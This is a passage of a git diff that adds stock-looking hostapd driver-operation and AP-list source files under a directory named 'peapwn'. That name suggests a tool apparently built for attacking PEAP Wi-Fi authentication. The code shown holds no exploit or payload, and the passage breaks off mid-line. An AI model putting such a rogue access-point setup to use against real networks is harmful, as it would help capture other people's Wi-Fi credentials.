0) + wpabuf_put_buf(assocresp, a); + wpabuf_free(a); + } +#endif /* CONFIG_WPS2 */ + +#ifdef CONFIG_P2P_MANAGER + if (hapd->conf->p2p & P2P_MANAGE) { + if (wpabuf_resize(&assocresp, 100) == 0) { + u8 *start, *p; + start = wpabuf_put(assocresp, 0); + p = hostapd_eid_p2p_manage(hapd, start); + wpabuf_put(assocresp, p - start); + } + } +#endif /* CONFIG_P2P_MANAGER */ + +#ifdef CONFIG_WIFI_DISPLAY + if (hapd->p2p_group) { + struct wpabuf *a; + a = p2p_group_assoc_resp_ie(hapd->p2p_group, P2P_SC_SUCCESS); + if (a && wpabuf_resize(&assocresp, wpabuf_len(a)) == 0) + wpabuf_put_buf(assocresp, a); + wpabuf_free(a); + } +#endif /* CONFIG_WIFI_DISPLAY */ + +#ifdef CONFIG_HS20 + pos = buf; + pos = hostapd_eid_hs20_indication(hapd, pos); + if (pos != buf) { + if (wpabuf_resize(&beacon, pos - buf) != 0) + goto fail; + wpabuf_put_data(beacon, buf, pos - buf); + + if (wpabuf_resize(&proberesp, pos - buf) != 0) + goto fail; + wpabuf_put_data(proberesp, buf, pos - buf); + } +#endif /* CONFIG_HS20 */ + + if (hapd->conf->vendor_elements) { + size_t add = wpabuf_len(hapd->conf->vendor_elements); + if (wpabuf_resize(&beacon, add) == 0) + wpabuf_put_buf(beacon, hapd->conf->vendor_elements); + if (wpabuf_resize(&proberesp, add) == 0) + wpabuf_put_buf(proberesp, hapd->conf->vendor_elements); + } + + *beacon_ret = beacon; + *proberesp_ret = proberesp; + *assocresp_ret = assocresp; + + return 0; + +fail: + wpabuf_free(beacon); + wpabuf_free(proberesp); + wpabuf_free(assocresp); + return -1; +} + + +void hostapd_free_ap_extra_ies(struct hostapd_data *hapd, + struct wpabuf *beacon, + struct wpabuf *proberesp, + struct wpabuf *assocresp) +{ + wpabuf_free(beacon); + wpabuf_free(proberesp); + wpabuf_free(assocresp); +} + + +int hostapd_set_ap_wps_ie(struct hostapd_data *hapd) +{ + struct wpabuf *beacon, *proberesp, *assocresp; + int ret; + + if (hapd->driver == NULL || hapd->driver->set_ap_wps_ie == NULL) + return 0; + + if (hostapd_build_ap_extra_ies(hapd, &beacon, &proberesp, &assocresp) < + 0) + return -1; + + ret = hapd->driver->set_ap_wps_ie(hapd->drv_priv, beacon, proberesp, + assocresp); + + hostapd_free_ap_extra_ies(hapd, beacon, proberesp, assocresp); + + return ret; +} + + +int hostapd_set_authorized(struct hostapd_data *hapd, + struct sta_info *sta, int authorized) +{ + if (authorized) { + return hostapd_sta_set_flags(hapd, sta->addr, + hostapd_sta_flags_to_drv( + sta->flags), + WPA_STA_AUTHORIZED, ~0); + } + + return hostapd_sta_set_flags(hapd, sta->addr, + hostapd_sta_flags_to_drv(sta->flags), + 0, ~WPA_STA_AUTHORIZED); +} + + +int hostapd_set_sta_flags(struct hostapd_data *hapd, struct sta_info *sta) +{ + int set_flags, total_flags, flags_and, flags_or; + total_flags = hostapd_sta_flags_to_drv(sta->flags); + set_flags = WPA_STA_SHORT_PREAMBLE | WPA_STA_WMM | WPA_STA_MFP; + if (((!hapd->conf->ieee802_1x && !hapd->conf->wpa) || + sta->auth_alg == WLAN_AUTH_FT) && + sta->flags & WLAN_STA_AUTHORIZED) + set_flags |= WPA_STA_AUTHORIZED; + flags_or = total_flags & set_flags; + flags_and = total_flags | ~set_flags; + return hostapd_sta_set_flags(hapd, sta->addr, total_flags, + flags_or, flags_and); +} + + +int hostapd_set_drv_ieee8021x(struct hostapd_data *hapd, const char *ifname, + int enabled) +{ + struct wpa_bss_params params; + os_memset(¶ms, 0, sizeof(params)); + params.ifname = ifname; + params.enabled = enabled; + if (enabled) { + params.wpa = hapd->conf->wpa; + params.ieee802_1x = hapd->conf->ieee802_1x; + params.wpa_group = hapd->conf->wpa_group; + params.wpa_pairwise = hapd->conf->wpa_pairwise; + params.wpa_key_mgmt = hapd->conf->wpa_key_mgmt; + params.rsn_preauth = hapd->conf->rsn_preauth; +#ifdef CONFIG_IEEE80211W + params.ieee80211w = hapd->conf->ieee80211w; +#endif /* CONFIG_IEEE80211W */ + } + return hostapd_set_ieee8021x(hapd, ¶ms); +} + + +int hostapd_vlan_if_add(struct hostapd_data *hapd, const char *ifname) +{ + char force_ifname[IFNAMSIZ]; + u8 if_addr[ETH_ALEN]; + return hostapd_if_add(hapd, WPA_IF_AP_VLAN, ifname, hapd->own_addr, + NULL, NULL, force_ifname, if_addr, NULL, 0); +} + + +int hostapd_vlan_if_remove(struct hostapd_data *hapd, const char *ifname) +{ + return hostapd_if_remove(hapd, WPA_IF_AP_VLAN, ifname); +} + + +int hostapd_set_wds_sta(struct hostapd_data *hapd, char *ifname_wds, + const u8 *addr, int aid, int val) +{ + const char *bridge = NULL; + + if (hapd->driver == NULL || hapd->driver->set_wds_sta == NULL) + return -1; + if (hapd->conf->wds_bridge[0]) + bridge = hapd->conf->wds_bridge; + else if (hapd->conf->bridge[0]) + bridge = hapd->conf->bridge; + return hapd->driver->set_wds_sta(hapd->drv_priv, addr, aid, val, + bridge, ifname_wds); +} + + +int hostapd_add_sta_node(struct hostapd_data *hapd, const u8 *addr, + u16 auth_alg) +{ + if (hapd->driver == NULL || hapd->driver->add_sta_node == NULL) + return 0; + return hapd->driver->add_sta_node(hapd->drv_priv, addr, auth_alg); +} + + +int hostapd_sta_auth(struct hostapd_data *hapd, const u8 *addr, + u16 seq, u16 status, const u8 *ie, size_t len) +{ + if (hapd->driver == NULL || hapd->driver->sta_auth == NULL) + return 0; + return hapd->driver->sta_auth(hapd->drv_priv, hapd->own_addr, addr, + seq, status, ie, len); +} + + +int hostapd_sta_assoc(struct hostapd_data *hapd, const u8 *addr, + int reassoc, u16 status, const u8 *ie, size_t len) +{ + if (hapd->driver == NULL || hapd->driver->sta_assoc == NULL) + return 0; + return hapd->driver->sta_assoc(hapd->drv_priv, hapd->own_addr, addr, + reassoc, status, ie, len); +} + + +int hostapd_sta_add(struct hostapd_data *hapd, + const u8 *addr, u16 aid, u16 capability, + const u8 *supp_rates, size_t supp_rates_len, + u16 listen_interval, + const struct ieee80211_ht_capabilities *ht_capab, + const struct ieee80211_vht_capabilities *vht_capab, + u32 flags, u8 qosinfo) +{ + struct hostapd_sta_add_params params; + + if (hapd->driver == NULL) + return 0; + if (hapd->driver->sta_add == NULL) + return 0; + + os_memset(¶ms, 0, sizeof(params)); + params.addr = addr; + params.aid = aid; + params.capability = capability; + params.supp_rates = supp_rates; + params.supp_rates_len = supp_rates_len; + params.listen_interval = listen_interval; + params.ht_capabilities = ht_capab; + params.vht_capabilities = vht_capab; + params.flags = hostapd_sta_flags_to_drv(flags); + params.qosinfo = qosinfo; + return hapd->driver->sta_add(hapd->drv_priv, ¶ms); +} + + +int hostapd_add_tspec(struct hostapd_data *hapd, const u8 *addr, + u8 *tspec_ie, size_t tspec_ielen) +{ + if (hapd->driver == NULL || hapd->driver->add_tspec == NULL) + return 0; + return hapd->driver->add_tspec(hapd->drv_priv, addr, tspec_ie, + tspec_ielen); +} + + +int hostapd_set_privacy(struct hostapd_data *hapd, int enabled) +{ + if (hapd->driver == NULL || hapd->driver->set_privacy == NULL) + return 0; + return hapd->driver->set_privacy(hapd->drv_priv, enabled); +} + + +int hostapd_set_generic_elem(struct hostapd_data *hapd, const u8 *elem, + size_t elem_len) +{ + if (hapd->driver == NULL || hapd->driver->set_generic_elem == NULL) + return 0; + return hapd->driver->set_generic_elem(hapd->drv_priv, elem, elem_len); +} + + +int hostapd_get_ssid(struct hostapd_data *hapd, u8 *buf, size_t len) +{ + if (hapd->driver == NULL || hapd->driver->hapd_get_ssid == NULL) + return 0; + return hapd->driver->hapd_get_ssid(hapd->drv_priv, buf, len); +} + + +int hostapd_set_ssid(struct hostapd_data *hapd, const u8 *buf, size_t len) +{ + if (hapd->driver == NULL || hapd->driver->hapd_set_ssid == NULL) + return 0; + return hapd->driver->hapd_set_ssid(hapd->drv_priv, buf, len); +} + + +int hostapd_if_add(struct hostapd_data *hapd, enum wpa_driver_if_type type, + const char *ifname, const u8 *addr, void *bss_ctx, + void **drv_priv, char *force_ifname, u8 *if_addr, + const char *bridge, int use_existing) +{ + if (hapd->driver == NULL || hapd->driver->if_add == NULL) + return -1; + return hapd->driver->if_add(hapd->drv_priv, type, ifname, addr, + bss_ctx, drv_priv, force_ifname, if_addr, + bridge, use_existing); +} + + +int hostapd_if_remove(struct hostapd_data *hapd, enum wpa_driver_if_type type, + const char *ifname) +{ + if (hapd->driver == NULL || hapd->drv_priv == NULL || + hapd->driver->if_remove == NULL) + return -1; + return hapd->driver->if_remove(hapd->drv_priv, type, ifname); +} + + +int hostapd_set_ieee8021x(struct hostapd_data *hapd, + struct wpa_bss_params *params) +{ + if (hapd->driver == NULL || hapd->driver->set_ieee8021x == NULL) + return 0; + return hapd->driver->set_ieee8021x(hapd->drv_priv, params); +} + + +int hostapd_get_seqnum(const char *ifname, struct hostapd_data *hapd, + const u8 *addr, int idx, u8 *seq) +{ + if (hapd->driver == NULL || hapd->driver->get_seqnum == NULL) + return 0; + return hapd->driver->get_seqnum(ifname, hapd->drv_priv, addr, idx, + seq); +} + + +int hostapd_flush(struct hostapd_data *hapd) +{ + if (hapd->driver == NULL || hapd->driver->flush == NULL) + return 0; + return hapd->driver->flush(hapd->drv_priv); +} + + +static int hostapd_set_freq_params(struct hostapd_freq_params *data, int mode, + int freq, int channel, int ht_enabled, + int vht_enabled, int sec_channel_offset, + int vht_oper_chwidth, int center_segment0, + int center_segment1, u32 vht_caps) +{ + int tmp; + + os_memset(data, 0, sizeof(*data)); + data->mode = mode; + data->freq = freq; + data->channel = channel; + data->ht_enabled = ht_enabled; + data->vht_enabled = vht_enabled; + data->sec_channel_offset = sec_channel_offset; + data->center_freq1 = freq + sec_channel_offset * 10; + data->center_freq2 = 0; + data->bandwidth = sec_channel_offset ? 40 : 20; + + /* + * This validation code is probably misplaced, maybe it should be + * in src/ap/hw_features.c and check the hardware support as well. + */ + if (data->vht_enabled) switch (vht_oper_chwidth) { + case VHT_CHANWIDTH_USE_HT: + if (center_segment1) + return -1; + if (5000 + center_segment0 * 5 != data->center_freq1 && + 2407 + center_segment0 * 5 != data->center_freq1) + return -1; + break; + case VHT_CHANWIDTH_80P80MHZ: + if (!(vht_caps & VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ)) { + wpa_printf(MSG_ERROR, + "80+80 channel width is not supported!"); + return -1; + } + if (center_segment1 == center_segment0 + 4 || + center_segment1 == center_segment0 - 4) + return -1; + data->center_freq2 = 5000 + center_segment1 * 5; + /* fall through */ + case VHT_CHANWIDTH_80MHZ: + data->bandwidth = 80; + if (vht_oper_chwidth == 1 && center_segment1) + return -1; + if (vht_oper_chwidth == 3 && !center_segment1) + return -1; + if (!sec_channel_offset) + return -1; + /* primary 40 part must match the HT configuration */ + tmp = (30 + freq - 5000 - center_segment0 * 5)/20; + tmp /= 2; + if (data->center_freq1 != 5000 + + center_segment0 * 5 - 20 + 40 * tmp) + return -1; + data->center_freq1 = 5000 + center_segment0 * 5; + break; + case VHT_CHANWIDTH_160MHZ: + data->bandwidth = 160; + if (!(vht_caps & (VHT_CAP_SUPP_CHAN_WIDTH_160MHZ | + VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ))) { + wpa_printf(MSG_ERROR, + "160MHZ channel width is not supported!"); + return -1; + } + if (center_segment1) + return -1; + if (!sec_channel_offset) + return -1; + /* primary 40 part must match the HT configuration */ + tmp = (70 + freq - 5000 - center_segment0 * 5)/20; + tmp /= 2; + if (data->center_freq1 != 5000 + + center_segment0 * 5 - 60 + 40 * tmp) + return -1; + data->center_freq1 = 5000 + center_segment0 * 5; + break; + } + + return 0; +} + + +int hostapd_set_freq(struct hostapd_data *hapd, int mode, int freq, + int channel, int ht_enabled, int vht_enabled, + int sec_channel_offset, int vht_oper_chwidth, + int center_segment0, int center_segment1) +{ + struct hostapd_freq_params data; + + if (hostapd_set_freq_params(&data, mode, freq, channel, ht_enabled, + vht_enabled, sec_channel_offset, + vht_oper_chwidth, + center_segment0, center_segment1, + hapd->iface->current_mode->vht_capab)) + return -1; + + if (hapd->driver == NULL) + return 0; + if (hapd->driver->set_freq == NULL) + return 0; + return hapd->driver->set_freq(hapd->drv_priv, &data); +} + +int hostapd_set_rts(struct hostapd_data *hapd, int rts) +{ + if (hapd->driver == NULL || hapd->driver->set_rts == NULL) + return 0; + return hapd->driver->set_rts(hapd->drv_priv, rts); +} + + +int hostapd_set_frag(struct hostapd_data *hapd, int frag) +{ + if (hapd->driver == NULL || hapd->driver->set_frag == NULL) + return 0; + return hapd->driver->set_frag(hapd->drv_priv, frag); +} + + +int hostapd_sta_set_flags(struct hostapd_data *hapd, u8 *addr, + int total_flags, int flags_or, int flags_and) +{ + if (hapd->driver == NULL || hapd->driver->sta_set_flags == NULL) + return 0; + return hapd->driver->sta_set_flags(hapd->drv_priv, addr, total_flags, + flags_or, flags_and); +} + + +int hostapd_set_country(struct hostapd_data *hapd, const char *country) +{ + if (hapd->driver == NULL || + hapd->driver->set_country == NULL) + return 0; + return hapd->driver->set_country(hapd->drv_priv, country); +} + + +int hostapd_set_tx_queue_params(struct hostapd_data *hapd, int queue, int aifs, + int cw_min, int cw_max, int burst_time) +{ + if (hapd->driver == NULL || hapd->driver->set_tx_queue_params == NULL) + return 0; + return hapd->driver->set_tx_queue_params(hapd->drv_priv, queue, aifs, + cw_min, cw_max, burst_time); +} + + +struct hostapd_hw_modes * +hostapd_get_hw_feature_data(struct hostapd_data *hapd, u16 *num_modes, + u16 *flags) +{ + if (hapd->driver == NULL || + hapd->driver->get_hw_feature_data == NULL) + return NULL; + return hapd->driver->get_hw_feature_data(hapd->drv_priv, num_modes, + flags); +} + + +int hostapd_driver_commit(struct hostapd_data *hapd) +{ + if (hapd->driver == NULL || hapd->driver->commit == NULL) + return 0; + return hapd->driver->commit(hapd->drv_priv); +} + + +int hostapd_drv_none(struct hostapd_data *hapd) +{ + return hapd->driver && os_strcmp(hapd->driver->name, "none") == 0; +} + + +int hostapd_driver_scan(struct hostapd_data *hapd, + struct wpa_driver_scan_params *params) +{ + if (hapd->driver && hapd->driver->scan2) + return hapd->driver->scan2(hapd->drv_priv, params); + return -1; +} + + +struct wpa_scan_results * hostapd_driver_get_scan_results( + struct hostapd_data *hapd) +{ + if (hapd->driver && hapd->driver->get_scan_results2) + return hapd->driver->get_scan_results2(hapd->drv_priv); + return NULL; +} + + +int hostapd_driver_set_noa(struct hostapd_data *hapd, u8 count, int start, + int duration) +{ + if (hapd->driver && hapd->driver->set_noa) + return hapd->driver->set_noa(hapd->drv_priv, count, start, + duration); + return -1; +} + + +int hostapd_drv_set_key(const char *ifname, struct hostapd_data *hapd, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + if (hapd->driver == NULL || hapd->driver->set_key == NULL) + return 0; + return hapd->driver->set_key(ifname, hapd->drv_priv, alg, addr, + key_idx, set_tx, seq, seq_len, key, + key_len); +} + + +int hostapd_drv_send_mlme(struct hostapd_data *hapd, + const void *msg, size_t len, int noack) +{ + if (hapd->driver == NULL || hapd->driver->send_mlme == NULL) + return 0; + return hapd->driver->send_mlme(hapd->drv_priv, msg, len, noack); +} + + +int hostapd_drv_sta_deauth(struct hostapd_data *hapd, + const u8 *addr, int reason) +{ + if (hapd->driver == NULL || hapd->driver->sta_deauth == NULL) + return 0; + return hapd->driver->sta_deauth(hapd->drv_priv, hapd->own_addr, addr, + reason); +} + + +int hostapd_drv_sta_disassoc(struct hostapd_data *hapd, + const u8 *addr, int reason) +{ + if (hapd->driver == NULL || hapd->driver->sta_disassoc == NULL) + return 0; + return hapd->driver->sta_disassoc(hapd->drv_priv, hapd->own_addr, addr, + reason); +} + + +int hostapd_drv_wnm_oper(struct hostapd_data *hapd, enum wnm_oper oper, + const u8 *peer, u8 *buf, u16 *buf_len) +{ + if (hapd->driver == NULL || hapd->driver->wnm_oper == NULL) + return 0; + return hapd->driver->wnm_oper(hapd->drv_priv, oper, peer, buf, + buf_len); +} + + +int hostapd_drv_send_action(struct hostapd_data *hapd, unsigned int freq, + unsigned int wait, const u8 *dst, const u8 *data, + size_t len) +{ + if (hapd->driver == NULL || hapd->driver->send_action == NULL) + return 0; + return hapd->driver->send_action(hapd->drv_priv, freq, wait, dst, + hapd->own_addr, hapd->own_addr, data, + len, 0); +} + + +int hostapd_start_dfs_cac(struct hostapd_iface *iface, int mode, int freq, + int channel, int ht_enabled, int vht_enabled, + int sec_channel_offset, int vht_oper_chwidth, + int center_segment0, int center_segment1) +{ + struct hostapd_data *hapd = iface->bss[0]; + struct hostapd_freq_params data; + int res; + + if (!hapd->driver || !hapd->driver->start_dfs_cac) + return 0; + + if (!iface->conf->ieee80211h) { + wpa_printf(MSG_ERROR, "Can't start DFS CAC, DFS functionality " + "is not enabled"); + return -1; + } + + if (hostapd_set_freq_params(&data, mode, freq, channel, ht_enabled, + vht_enabled, sec_channel_offset, + vht_oper_chwidth, center_segment0, + center_segment1, + iface->current_mode->vht_capab)) + return -1; + + res = hapd->driver->start_dfs_cac(hapd->drv_priv, &data); + if (!res) + iface->cac_started = 1; + + return res; +} + + +int hostapd_drv_set_qos_map(struct hostapd_data *hapd, + const u8 *qos_map_set, u8 qos_map_set_len) +{ + if (hapd->driver == NULL || hapd->driver->set_qos_map == NULL) + return 0; + return hapd->driver->set_qos_map(hapd->drv_priv, qos_map_set, + qos_map_set_len); +} diff --git a/peapwn/mods/hostap/src/ap/ap_drv_ops.h b/peapwn/mods/hostap/src/ap/ap_drv_ops.h new file mode 100644 index 000000000..1eab939f8 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_drv_ops.h @@ -0,0 +1,269 @@ +/* + * hostapd - Driver operations + * Copyright (c) 2009-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AP_DRV_OPS +#define AP_DRV_OPS + +enum wpa_driver_if_type; +struct wpa_bss_params; +struct wpa_driver_scan_params; +struct ieee80211_ht_capabilities; +struct ieee80211_vht_capabilities; + +u32 hostapd_sta_flags_to_drv(u32 flags); +int hostapd_build_ap_extra_ies(struct hostapd_data *hapd, + struct wpabuf **beacon, + struct wpabuf **proberesp, + struct wpabuf **assocresp); +void hostapd_free_ap_extra_ies(struct hostapd_data *hapd, struct wpabuf *beacon, + struct wpabuf *proberesp, + struct wpabuf *assocresp); +int hostapd_set_ap_wps_ie(struct hostapd_data *hapd); +int hostapd_set_authorized(struct hostapd_data *hapd, + struct sta_info *sta, int authorized); +int hostapd_set_sta_flags(struct hostapd_data *hapd, struct sta_info *sta); +int hostapd_set_drv_ieee8021x(struct hostapd_data *hapd, const char *ifname, + int enabled); +int hostapd_vlan_if_add(struct hostapd_data *hapd, const char *ifname); +int hostapd_vlan_if_remove(struct hostapd_data *hapd, const char *ifname); +int hostapd_set_wds_sta(struct hostapd_data *hapd, char *ifname_wds, + const u8 *addr, int aid, int val); +int hostapd_sta_add(struct hostapd_data *hapd, + const u8 *addr, u16 aid, u16 capability, + const u8 *supp_rates, size_t supp_rates_len, + u16 listen_interval, + const struct ieee80211_ht_capabilities *ht_capab, + const struct ieee80211_vht_capabilities *vht_capab, + u32 flags, u8 qosinfo); +int hostapd_set_privacy(struct hostapd_data *hapd, int enabled); +int hostapd_set_generic_elem(struct hostapd_data *hapd, const u8 *elem, + size_t elem_len); +int hostapd_get_ssid(struct hostapd_data *hapd, u8 *buf, size_t len); +int hostapd_set_ssid(struct hostapd_data *hapd, const u8 *buf, size_t len); +int hostapd_if_add(struct hostapd_data *hapd, enum wpa_driver_if_type type, + const char *ifname, const u8 *addr, void *bss_ctx, + void **drv_priv, char *force_ifname, u8 *if_addr, + const char *bridge, int use_existing); +int hostapd_if_remove(struct hostapd_data *hapd, enum wpa_driver_if_type type, + const char *ifname); +int hostapd_set_ieee8021x(struct hostapd_data *hapd, + struct wpa_bss_params *params); +int hostapd_get_seqnum(const char *ifname, struct hostapd_data *hapd, + const u8 *addr, int idx, u8 *seq); +int hostapd_flush(struct hostapd_data *hapd); +int hostapd_set_freq(struct hostapd_data *hapd, int mode, int freq, + int channel, int ht_enabled, int vht_enabled, + int sec_channel_offset, int vht_oper_chwidth, + int center_segment0, int center_segment1); +int hostapd_set_rts(struct hostapd_data *hapd, int rts); +int hostapd_set_frag(struct hostapd_data *hapd, int frag); +int hostapd_sta_set_flags(struct hostapd_data *hapd, u8 *addr, + int total_flags, int flags_or, int flags_and); +int hostapd_set_country(struct hostapd_data *hapd, const char *country); +int hostapd_set_tx_queue_params(struct hostapd_data *hapd, int queue, int aifs, + int cw_min, int cw_max, int burst_time); +struct hostapd_hw_modes * +hostapd_get_hw_feature_data(struct hostapd_data *hapd, u16 *num_modes, + u16 *flags); +int hostapd_driver_commit(struct hostapd_data *hapd); +int hostapd_drv_none(struct hostapd_data *hapd); +int hostapd_driver_scan(struct hostapd_data *hapd, + struct wpa_driver_scan_params *params); +struct wpa_scan_results * hostapd_driver_get_scan_results( + struct hostapd_data *hapd); +int hostapd_driver_set_noa(struct hostapd_data *hapd, u8 count, int start, + int duration); +int hostapd_drv_set_key(const char *ifname, + struct hostapd_data *hapd, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len); +int hostapd_drv_send_mlme(struct hostapd_data *hapd, + const void *msg, size_t len, int noack); +int hostapd_drv_sta_deauth(struct hostapd_data *hapd, + const u8 *addr, int reason); +int hostapd_drv_sta_disassoc(struct hostapd_data *hapd, + const u8 *addr, int reason); +int hostapd_drv_send_action(struct hostapd_data *hapd, unsigned int freq, + unsigned int wait, const u8 *dst, const u8 *data, + size_t len); +int hostapd_add_sta_node(struct hostapd_data *hapd, const u8 *addr, + u16 auth_alg); +int hostapd_sta_auth(struct hostapd_data *hapd, const u8 *addr, + u16 seq, u16 status, const u8 *ie, size_t len); +int hostapd_sta_assoc(struct hostapd_data *hapd, const u8 *addr, + int reassoc, u16 status, const u8 *ie, size_t len); +int hostapd_add_tspec(struct hostapd_data *hapd, const u8 *addr, + u8 *tspec_ie, size_t tspec_ielen); +int hostapd_start_dfs_cac(struct hostapd_iface *iface, int mode, int freq, + int channel, int ht_enabled, int vht_enabled, + int sec_channel_offset, int vht_oper_chwidth, + int center_segment0, int center_segment1); + + +#include "drivers/driver.h" + +int hostapd_drv_wnm_oper(struct hostapd_data *hapd, + enum wnm_oper oper, const u8 *peer, + u8 *buf, u16 *buf_len); + +int hostapd_drv_set_qos_map(struct hostapd_data *hapd, const u8 *qos_map_set, + u8 qos_map_set_len); + +static inline int hostapd_drv_set_countermeasures(struct hostapd_data *hapd, + int enabled) +{ + if (hapd->driver == NULL || + hapd->driver->hapd_set_countermeasures == NULL) + return 0; + return hapd->driver->hapd_set_countermeasures(hapd->drv_priv, enabled); +} + +static inline int hostapd_drv_set_sta_vlan(const char *ifname, + struct hostapd_data *hapd, + const u8 *addr, int vlan_id) +{ + if (hapd->driver == NULL || hapd->driver->set_sta_vlan == NULL) + return 0; + return hapd->driver->set_sta_vlan(hapd->drv_priv, addr, ifname, + vlan_id); +} + +static inline int hostapd_drv_get_inact_sec(struct hostapd_data *hapd, + const u8 *addr) +{ + if (hapd->driver == NULL || hapd->driver->get_inact_sec == NULL) + return 0; + return hapd->driver->get_inact_sec(hapd->drv_priv, addr); +} + +static inline int hostapd_drv_sta_remove(struct hostapd_data *hapd, + const u8 *addr) +{ + if (hapd->driver == NULL || hapd->driver->sta_remove == NULL) + return 0; + return hapd->driver->sta_remove(hapd->drv_priv, addr); +} + +static inline int hostapd_drv_hapd_send_eapol(struct hostapd_data *hapd, + const u8 *addr, const u8 *data, + size_t data_len, int encrypt, + u32 flags) +{ + if (hapd->driver == NULL || hapd->driver->hapd_send_eapol == NULL) + return 0; + return hapd->driver->hapd_send_eapol(hapd->drv_priv, addr, data, + data_len, encrypt, + hapd->own_addr, flags); +} + +static inline int hostapd_drv_read_sta_data( + struct hostapd_data *hapd, struct hostap_sta_driver_data *data, + const u8 *addr) +{ + if (hapd->driver == NULL || hapd->driver->read_sta_data == NULL) + return -1; + return hapd->driver->read_sta_data(hapd->drv_priv, data, addr); +} + +static inline int hostapd_drv_sta_clear_stats(struct hostapd_data *hapd, + const u8 *addr) +{ + if (hapd->driver == NULL || hapd->driver->sta_clear_stats == NULL) + return 0; + return hapd->driver->sta_clear_stats(hapd->drv_priv, addr); +} + +static inline int hostapd_drv_set_acl(struct hostapd_data *hapd, + struct hostapd_acl_params *params) +{ + if (hapd->driver == NULL || hapd->driver->set_acl == NULL) + return 0; + return hapd->driver->set_acl(hapd->drv_priv, params); +} + +static inline int hostapd_drv_set_ap(struct hostapd_data *hapd, + struct wpa_driver_ap_params *params) +{ + if (hapd->driver == NULL || hapd->driver->set_ap == NULL) + return 0; + return hapd->driver->set_ap(hapd->drv_priv, params); +} + +static inline int hostapd_drv_set_radius_acl_auth(struct hostapd_data *hapd, + const u8 *mac, int accepted, + u32 session_timeout) +{ + if (hapd->driver == NULL || hapd->driver->set_radius_acl_auth == NULL) + return 0; + return hapd->driver->set_radius_acl_auth(hapd->drv_priv, mac, accepted, + session_timeout); +} + +static inline int hostapd_drv_set_radius_acl_expire(struct hostapd_data *hapd, + const u8 *mac) +{ + if (hapd->driver == NULL || + hapd->driver->set_radius_acl_expire == NULL) + return 0; + return hapd->driver->set_radius_acl_expire(hapd->drv_priv, mac); +} + +static inline int hostapd_drv_set_authmode(struct hostapd_data *hapd, + int auth_algs) +{ + if (hapd->driver == NULL || hapd->driver->set_authmode == NULL) + return 0; + return hapd->driver->set_authmode(hapd->drv_priv, auth_algs); +} + +static inline void hostapd_drv_poll_client(struct hostapd_data *hapd, + const u8 *own_addr, const u8 *addr, + int qos) +{ + if (hapd->driver == NULL || hapd->driver->poll_client == NULL) + return; + hapd->driver->poll_client(hapd->drv_priv, own_addr, addr, qos); +} + +static inline int hostapd_drv_get_survey(struct hostapd_data *hapd, + unsigned int freq) +{ + if (hapd->driver == NULL) + return -1; + if (!hapd->driver->get_survey) + return -1; + return hapd->driver->get_survey(hapd->drv_priv, freq); +} + +static inline int hostapd_get_country(struct hostapd_data *hapd, char *alpha2) +{ + if (hapd->driver == NULL || hapd->driver->get_country == NULL) + return -1; + return hapd->driver->get_country(hapd->drv_priv, alpha2); +} + +static inline const char * hostapd_drv_get_radio_name(struct hostapd_data *hapd) +{ + if (hapd->driver == NULL || hapd->drv_priv == NULL || + hapd->driver->get_radio_name == NULL) + return NULL; + return hapd->driver->get_radio_name(hapd->drv_priv); +} + +static inline int hostapd_drv_switch_channel(struct hostapd_data *hapd, + struct csa_settings *settings) +{ + if (hapd->driver == NULL || hapd->driver->switch_channel == NULL) + return -ENOTSUP; + + return hapd->driver->switch_channel(hapd->drv_priv, settings); +} + +#endif /* AP_DRV_OPS */ diff --git a/peapwn/mods/hostap/src/ap/ap_list.c b/peapwn/mods/hostap/src/ap/ap_list.c new file mode 100644 index 000000000..9f02151f4 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_list.c @@ -0,0 +1,318 @@ +/* + * hostapd / AP table + * Copyright (c) 2002-2009, Jouni Malinen + * Copyright (c) 2003-2004, Instant802 Networks, Inc. + * Copyright (c) 2006, Devicescape Software, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "beacon.h" +#include "ap_list.h" + + +/* AP list is a double linked list with head->prev pointing to the end of the + * list and tail->next = NULL. Entries are moved to the head of the list + * whenever a beacon has been received from the AP in question. The tail entry + * in this link will thus be the least recently used entry. */ + + +static int ap_list_beacon_olbc(struct hostapd_iface *iface, struct ap_info *ap) +{ + int i; + + if (iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G || + iface->conf->channel != ap->channel) + return 0; + + if (ap->erp != -1 && (ap->erp & ERP_INFO_NON_ERP_PRESENT)) + return 1; + + for (i = 0; i < WLAN_SUPP_RATES_MAX; i++) { + int rate = (ap->supported_rates[i] & 0x7f) * 5; + if (rate == 60 || rate == 90 || rate > 110) + return 0; + } + + return 1; +} + + +static struct ap_info * ap_get_ap(struct hostapd_iface *iface, const u8 *ap) +{ + struct ap_info *s; + + s = iface->ap_hash[STA_HASH(ap)]; + while (s != NULL && os_memcmp(s->addr, ap, ETH_ALEN) != 0) + s = s->hnext; + return s; +} + + +static void ap_ap_list_add(struct hostapd_iface *iface, struct ap_info *ap) +{ + if (iface->ap_list) { + ap->prev = iface->ap_list->prev; + iface->ap_list->prev = ap; + } else + ap->prev = ap; + ap->next = iface->ap_list; + iface->ap_list = ap; +} + + +static void ap_ap_list_del(struct hostapd_iface *iface, struct ap_info *ap) +{ + if (iface->ap_list == ap) + iface->ap_list = ap->next; + else + ap->prev->next = ap->next; + + if (ap->next) + ap->next->prev = ap->prev; + else if (iface->ap_list) + iface->ap_list->prev = ap->prev; +} + + +static void ap_ap_hash_add(struct hostapd_iface *iface, struct ap_info *ap) +{ + ap->hnext = iface->ap_hash[STA_HASH(ap->addr)]; + iface->ap_hash[STA_HASH(ap->addr)] = ap; +} + + +static void ap_ap_hash_del(struct hostapd_iface *iface, struct ap_info *ap) +{ + struct ap_info *s; + + s = iface->ap_hash[STA_HASH(ap->addr)]; + if (s == NULL) return; + if (os_memcmp(s->addr, ap->addr, 